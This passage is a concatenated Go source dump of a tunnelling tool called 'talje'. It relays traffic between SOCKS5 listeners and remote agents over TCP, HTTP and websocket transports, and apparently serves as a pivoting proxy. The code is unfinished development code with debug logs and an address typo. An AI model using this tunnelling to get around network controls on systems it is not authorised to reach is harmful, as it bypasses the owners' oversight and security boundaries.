Laeufer struct { 35 | lock sync.Mutex 36 | 37 | pipe *laeufer.Laeufer 38 | 39 | or config.Config 40 | } 41 | 42 | func New(or config.Config) *Laeufer { 43 | prefix := fmt.Sprintf("%s:%s:%s\t", "websocket", or.CommType.String(), or.Direction.String()) 44 | logger := log.New(log.Default().Writer(), prefix, log.LstdFlags) 45 | l := &Laeufer{ 46 | pipe: laeufer.NewFromConfig(logger, or), 47 | or: or, 48 | } 49 | 50 | go l.pipe.HandleWrite() 51 | return l 52 | } 53 | 54 | // Receive will be invoked by some other handler 55 | // will attach the new connection and forward them 56 | func (tcp *Laeufer) Receive(w http.ResponseWriter, r *http.Request) { 57 | ws, err := DefaultUpgrader.Upgrade(w, r, nil) 58 | if err != nil { 59 | log.Printf("Error: %s", err) 60 | if _, ok := err.(websocket.HandshakeError); !ok { 61 | log.Println(err) 62 | } 63 | return 64 | } 65 | defer ws.Close() 66 | 67 | // Since Receive is called multiple times we need to generate new ids 68 | 69 | // id := ladung.NewInt64ID(1337) 70 | // TODO(author): possibility to release ID 71 | 72 | c := NewWebSocketConn(ws) 73 | 74 | // Receive is only allowed if Direction is hieven / pull 75 | if tcp.or.Direction != config.Receiving { 76 | log.Println("logic ") 77 | // return utils.ErrWrongDirection 78 | return 79 | } 80 | 81 | // Since Receive is called multiple times we need to generate new ids 82 | // id := kueper.DefaultKueper.IDGen() 83 | id := string(tcp.pipe.GetID().ID()) 84 | log.Println("Register", id) 85 | 86 | // TODO(author): possibility to release ID 87 | 88 | tcp.pipe.Register(id, c) 89 | // remove connections if it cannot be re 90 | defer tcp.pipe.Done(id) 91 | 92 | tcp.pipe.HandleRead(c, id, "receive") 93 | 94 | return 95 | 96 | } 97 | 98 | func (tcp *Laeufer) Send(addr string) (err error) { 99 | // Send is only allowed if Direction is fieren / push 100 | if tcp.or.Direction != config.Sending { 101 | return laeufer.ErrWrongDirection 102 | } 103 | 104 | id := string(protocol.NewStaticID(laeufer.AgentConnID).ID()) 105 | log.Println("Sending for id", id) 106 | for { 107 | tcp.send(addr, id) 108 | } 109 | } 110 | 111 | func (tcp *Laeufer) send(addr string, id string) (err error) { 112 | c, err := tcp.pipe.HandleDial(id, "tcp", addr, laeufer.DialWithRetry(connectTo)) 113 | if err != nil { 114 | return err 115 | } 116 | defer c.Close() 117 | defer tcp.pipe.Done(id) 118 | 119 | log.Println("lelllele", id) 120 | tcp.pipe.HandleRead(c, id, "send") 121 | 122 | log.Fatal("You should") 123 | 124 | return nil 125 | } 126 | 127 | func connectTo(ctx context.Context, network, addr string) (net.Conn, error) { 128 | ws, res, err := DefaultWebDialer.Dial(addr, nil) 129 | if err != nil { 130 | log.Println("[websocket] Cannot establish Websocket", err) 131 | if res != nil { 132 | log.Println("[websocket] ", res.Status) 133 | } 134 | return nil, err 135 | } 136 | 137 | c := NewWebSocketConn(ws) 138 | 139 | return c, err 140 | } 141 | -------------------------------------------------------------------------------- /Server/lib/laeufer/websocket/ws_conn.go: -------------------------------------------------------------------------------- 1 | package websocket 2 | 3 | import ( 4 | "net" 5 | "time" 6 | 7 | "github.com/gorilla/websocket" 8 | ) 9 | 10 | type wsConn struct { 11 | *websocket.Conn 12 | buff []byte 13 | } 14 | 15 | //NewWebSocketConn converts a websocket.Conn into a net.Conn 16 | func NewWebSocketConn(websocketConn *websocket.Conn) net.Conn { 17 | c := wsConn{ 18 | Conn: websocketConn, 19 | } 20 | return &c 21 | } 22 | 23 | //Read is not threadsafe though thats okay since there 24 | //should never be more than one reader 25 | func (c *wsConn) Read(dst []byte) (int, error) { 26 | ldst := len(dst) 27 | //use buffer or read new message 28 | var src []byte 29 | if len(c.buff) > 0 { 30 | src = c.buff 31 | c.buff = nil 32 | } else if _, msg, err := c.Conn.ReadMessage(); err == nil { 33 | src = msg 34 | } else { 35 | return 0, err 36 | } 37 | //copy src->dest 38 | var n int 39 | if len(src) > ldst { 40 | //copy as much as possible of src into dst 41 | n = copy(dst, src[:ldst]) 42 | //copy remainder into buffer 43 | r := src[ldst:] 44 | lr := len(r) 45 | c.buff = make([]byte, lr) 46 | copy(c.buff, r) 47 | } else { 48 | //copy all of src into dst 49 | n = copy(dst, src) 50 | } 51 | //return bytes copied 52 | return n, nil 53 | } 54 | 55 | func (c *wsConn) Write(b []byte) (int, error) { 56 | if err := c.Conn.WriteMessage(websocket.BinaryMessage, b); err != nil { 57 | return 0, err 58 | } 59 | n := len(b) 60 | return n, nil 61 | } 62 | 63 | func (c *wsConn) SetDeadline(t time.Time) error { 64 | if err := c.Conn.SetReadDeadline(t); err != nil { 65 | return err 66 | } 67 | return c.Conn.SetWriteDeadline(t) 68 | } 69 | -------------------------------------------------------------------------------- /Server/lib/protocol/binary.go: -------------------------------------------------------------------------------- 1 | package protocol 2 | 3 | import ( 4 | "encoding/binary" 5 | "errors" 6 | "io" 7 | 8 | "github.com/c-f/talje/lib/kommando" 9 | "github.com/c-f/talje/lib/ladung" 10 | ) 11 | 12 | // Error Messages for handling with byte streams 13 | var ( 14 | ErrMessageToSmall ErrParsing = errors.New("message to small") 15 | ErrMessageBadLength ErrParsing = errors.New("bad length") 16 | ) 17 | 18 | // ByteLadung creates bytestream Ladung 19 | type Binary struct{} 20 | 21 | // WritePacket encodes a Packet and writes it to a writer 22 | func (bl *Binary) WritePacket(g ladung.Packet, w io.Writer) (err error) { 23 | var bts []byte 24 | 25 | session := []byte(g.SessionID)[0:8] 26 | 27 | command := make([]byte, 8) 28 | binary.LittleEndian.PutUint64(command, uint64(g.Kommando)) 29 | 30 | l := make([]byte, 8) 31 | binary.LittleEndian.PutUint64(l, uint64(len(g.Message))) 32 | 33 | // Create Protocol 34 | // [ sess | komando | len(msg) | msg ] 35 | bts = append(bts, session...) 36 | bts = append(bts, command...) 37 | bts = append(bts, l...) 38 | bts = append(bts, g.Message...) 39 | 40 | _, err = w.Write(bts) 41 | return 42 | } 43 | 44 | // ReadPacket decodes a Packet from a reader 45 | func (bl *Binary) ReadPacket(r io.Reader) (g ladung.Packet, err error) { 46 | var n int 47 | 48 | session := make([]byte, 8) 49 | command := make([]byte, 8) 50 | l := make([]byte, 8) 51 | 52 | readVar := func(val []byte) error { 53 | n, err = r.Read(val) 54 | if err == nil && n != len(val) { 55 | err = ErrMessageToSmall 56 | } 57 | return err 58 | } 59 | 60 | // Read Variables 61 | if err = readVar(session); err != nil { 62 | return 63 | } 64 | if err = readVar(command); err != nil { 65 | return 66 | } 67 | if err = readVar(l); err != nil { 68 | return 69 | } 70 | 71 | length := int(binary.LittleEndian.Uint64(l)) 72 | if length < 0 || length >= 100000 { 73 | err = ErrMessageBadLength 74 | return 75 | } 76 | msg := make([]byte, length) 77 | if err = readVar(msg); err != nil { 78 | return 79 | } 80 | 81 | // Stitch together 82 | g.SessionID = string(session) 83 | g.Kommando = kommando.Code(BytesToInt(command)) 84 | g.Message = msg 85 | 86 | return 87 | } 88 | 89 | // BytesToInt converts byte to int 90 | func BytesToInt(bts []byte) int { 91 | return int(binary.LittleEndian.Uint64(bts)) 92 | } 93 | -------------------------------------------------------------------------------- /Server/lib/protocol/json.go: -------------------------------------------------------------------------------- 1 | package protocol 2 | 3 | import ( 4 | "encoding/json" 5 | "io" 6 | 7 | "github.com/c-f/talje/lib/ladung" 8 | ) 9 | 10 | // Json protocol en/decoder struct 11 | type Json struct { 12 | encoder *json.Encoder 13 | decoder *json.Decoder 14 | } 15 | 16 | // WritePacket encodes a gut and writes it to writer 17 | func (jl *Json) WritePacket(g ladung.Packet, w io.Writer) (err error) { 18 | if jl.encoder == nil { 19 | jl.encoder = json.NewEncoder(w) 20 | } 21 | 22 | err = jl.encoder.Encode(g) 23 | 24 | return 25 | } 26 | 27 | // ReadPacket decodes a Packet from a reader 28 | func (jl *Json) ReadPacket(r io.Reader) (g ladung.Packet, err error) { 29 | if jl.decoder == nil { 30 | jl.decoder = json.NewDecoder(r) 31 | } 32 | 33 | err = jl.decoder.Decode(&g) 34 | // retry if io.EOF 35 | if err == io.EOF { 36 | 37 | jl.decoder = json.NewDecoder(r) 38 | err = jl.decoder.Decode(&g) 39 | } 40 | 41 | return 42 | } 43 | -------------------------------------------------------------------------------- /Server/lib/protocol/protocol.go: -------------------------------------------------------------------------------- 1 | package protocol 2 | 3 | import ( 4 | "io" 5 | 6 | "github.com/c-f/talje/lib/ladung" 7 | ) 8 | 9 | // Translater defines how to read/write Packets between agents 10 | type Translator interface { 11 | // Einpacken might also be used with PacketHandle 12 | WritePacket(g ladung.Packet, w io.Writer) (err error) 13 | ReadPacket(r io.Reader) (g ladung.Packet, err error) 14 | } 15 | 16 | // defines the ID interface 17 | type ID interface { 18 | ID() string 19 | } 20 | 21 | // ErrParsing defines a protocol-specific Errors 22 | type ErrParsing error 23 | -------------------------------------------------------------------------------- /Server/lib/protocol/sessionid.go: -------------------------------------------------------------------------------- 1 | package protocol 2 | 3 | import ( 4 | "encoding/binary" 5 | 6 | "github.com/google/uuid" 7 | ) 8 | 9 | // Int64 defines an 8 byte numerical identifier 10 | type Int64ID int 11 | 12 | func NewInt64ID(i int) ID { 13 | return Int64ID(i) 14 | } 15 | 16 | func (id Int64ID) ID() string { 17 | bts := make([]byte, 8) 18 | binary.LittleEndian.PutUint64(bts, uint64(id)) 19 | return string(bts) 20 | } 21 | 22 | // UUID defines a unique generated ID 23 | type UUID struct { 24 | uuid.UUID 25 | } 26 | 27 | func NewUUID() ID { 28 | return UUID{uuid.New()} 29 | } 30 | 31 | func (id UUID) ID() string { 32 | return id.UUID.String() 33 | } 34 | 35 | // Static ID 36 | type StaticID string 37 | 38 | func (id StaticID) ID() string { 39 | return string(id) 40 | } 41 | 42 | func NewStaticID(str string) ID { 43 | return StaticID(str) 44 | } 45 | -------------------------------------------------------------------------------- /Server/lib/talje.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "log" 5 | 6 | "github.com/c-f/talje/lib/component/server" 7 | "github.com/c-f/talje/lib/config" 8 | "github.com/c-f/talje/lib/ladung" 9 | "github.com/c-f/talje/lib/laeufer/http" 10 | "github.com/c-f/talje/lib/laeufer/tcp" 11 | "github.com/c-f/talje/lib/laeufer/websocket" 12 | ) 13 | 14 | /* 15 | Helper structs for dev 16 | */ 17 | 18 | func TCP2WebsocketServer() { 19 | 20 | } 21 | 22 | func TcpAgentServer() { 23 | 24 | 25 | incoming := config.Config{ 26 | CommType: config.Direct, 27 | Direction: config.Receiving, 28 | 29 | InC: make(chan ladung.Packet), 30 | OutC: make(chan ladung.Packet), 31 | } 32 | 33 | outgoing := config.Config{ 34 | CommType: config.Agent2Agent, 35 | Direction: config.Receiving, 36 | 37 | InC: incoming.OutC, 38 | OutC: incoming.InC, 39 | } 40 | 41 | inLaeufer := tcp.New(incoming) 42 | rs := server.NewSocks5("0.0.0.0:1080") 43 | rs.Bind(inLaeufer.Receive) 44 | 45 | outLaeufer := tcp.New(outgoing) 46 | sec := server.NewSocks5("0.0.0.0:1337") 47 | sec.Bind(outLaeufer.Receive) 48 | 49 | go rs.Start() 50 | sec.Start() 51 | } 52 | 53 | func ServerHTTPSend() { 54 | incoming := config.Config{ 55 | CommType: config.Direct, 56 | Direction: config.Receiving, 57 | 58 | InC: make(chan ladung.Packet), 59 | OutC: make(chan ladung.Packet), 60 | } 61 | 62 | outgoing := config.Config{ 63 | CommType: config.Agent2Agent, 64 | Direction: config.Sending, 65 | 66 | InC: incoming.OutC, 67 | OutC: incoming.InC, 68 | } 69 | 70 | inLaeufer := tcp.New(incoming) 71 | rs := server.NewSocks5("0.0.0.0:1080") 72 | rs.Bind(inLaeufer.Receive) 73 | 74 | outLaeufer := http.New(outgoing) 75 | 76 | // outLaeufer := tcp.New(outgoing) 77 | //sec := server.NewHttp("0.0.0.0:1337") 78 | // sec := server.NewSocks5("0.0.0.0:1337") 79 | //sec.Bind("/yolo", outLaeufer.Receive) 80 | 81 | go rs.Start() 82 | outLaeufer.Send("http://127.0.0.1:1337/yolo") 83 | } 84 | 85 | func ServerHTTPReceive() { 86 | incoming := config.Config{ 87 | CommType: config.Direct, 88 | Direction: config.Receiving, 89 | 90 | InC: make(chan ladung.Packet), 91 | OutC: make(chan ladung.Packet), 92 | } 93 | 94 | outgoing := config.Config{ 95 | CommType: config.Agent2Agent, 96 | Direction: config.Receiving, 97 | 98 | InC: incoming.OutC, 99 | OutC: incoming.InC, 100 | } 101 | 102 | inLaeufer := tcp.New(incoming) 103 | rs := server.NewSocks5("0.0.0.0:1080") 104 | rs.Bind(inLaeufer.Receive) 105 | 106 | outLaeufer := http.New(outgoing) 107 | sec := server.NewHttp("0.0.0:1337") 108 | sec.Bind("/yolo", outLaeufer.Receive) 109 | 110 | go rs.Start() 111 | sec.Start() 112 | } 113 | 114 | func ClientHTTPSend() { 115 | 116 | incoming := config.Config{ 117 | CommType: config.Agent2Agent, 118 | Direction: config.Sending, 119 | 120 | InC: make(chan ladung.Packet), 121 | OutC: make(chan ladung.Packet), 122 | } 123 | outgoing := config.Config{ 124 | CommType: config.Direct, 125 | Direction: config.Sending, 126 | 127 | InC: incoming.OutC, 128 | OutC: incoming.InC, 129 | } 130 | 131 | inLaeufer := http.New(incoming) 132 | //inLaeufer := tcp.New(incoming) 133 | 134 | outLaeufer := tcp.New(outgoing) 135 | log.Println("o", outLaeufer) 136 | 137 | // Start the rolls 138 | inLaeufer.Send("http://127.0.0.1:1337/yolo") 139 | } 140 | 141 | func WebsocketServer(socksAddr string, httpAddr string, ctxPath string) (*server.Socks5, *server.Http) { 142 | incoming := config.NewServer() 143 | 144 | outgoing := config.NewAgent(config.Receiving) 145 | incoming.Bind(outgoing) 146 | 147 | // Socks Server 148 | inLaeufer := tcp.New(*incoming) 149 | rs := server.NewSocks5(socksAddr) 150 | rs.Bind(inLaeufer.Receive) 151 | 152 | // Websocket server 153 | outLaeufer := websocket.New(*outgoing) 154 | sec := server.NewHttp(httpAddr) 155 | 156 | // bind both together 157 | sec.Bind(ctxPath, outLaeufer.Receive) 158 | 159 | return rs, sec 160 | } 161 | func WebsocketClient() *websocket.Laeufer { 162 | 163 | incoming := config.NewAgent(config.Sending) 164 | 165 | outgoing := config.NewClient() 166 | incoming.Bind(outgoing) 167 | 168 | inLaeufer := websocket.New(*incoming) 169 | 170 | tcp.New(*outgoing) 171 | 172 | return inLaeufer 173 | 174 | } 175 | 176 | // 177 | func TCPAgentClient() { 178 | 179 | incoming := config.Config{ 180 | CommType: config.Agent2Agent, 181 | Direction: config.Sending, 182 | 183 | InC: make(chan ladung.Packet), 184 | OutC: make(chan ladung.Packet), 185 | } 186 | outgoing := config.Config{ 187 | CommType: config.Direct, 188 | Direction: config.Sending, 189 | 190 | InC: incoming.OutC, 191 | OutC: incoming.InC, 192 | } 193 | 194 | inLaeufer := tcp.New(incoming) 195 | 196 | outLaeufer := tcp.New(outgoing) 197 | log.Println("o", outLaeufer) 198 | 199 | // Start the rolls 200 | inLaeufer.Send("127.0.0.1:1337") 201 | } 202 | -------------------------------------------------------------------------------- /Server/lib/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "time" 6 | ) 7 | 8 | var ( 9 | Unlimited = -1 10 | ) 11 | 12 | // Retry execute f() n times before returning error 13 | func Retry(n int, sleep time.Duration, f func() error) (err error) { 14 | for i := 0; i < n || n == Unlimited; i++ { 15 | if i > 0 { 16 | time.Sleep(sleep) 17 | } 18 | err = f() 19 | if err == nil { 20 | return nil 21 | } 22 | } 23 | return fmt.Errorf("after %d n, last error: %s", n, err) 24 | } 25 | -------------------------------------------------------------------------------- /Server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "github.com/c-f/talje/cmd" 4 | 5 | func main() { 6 | cmd.Execute() 7 | } 8 | --------------------------------------------------------------------------------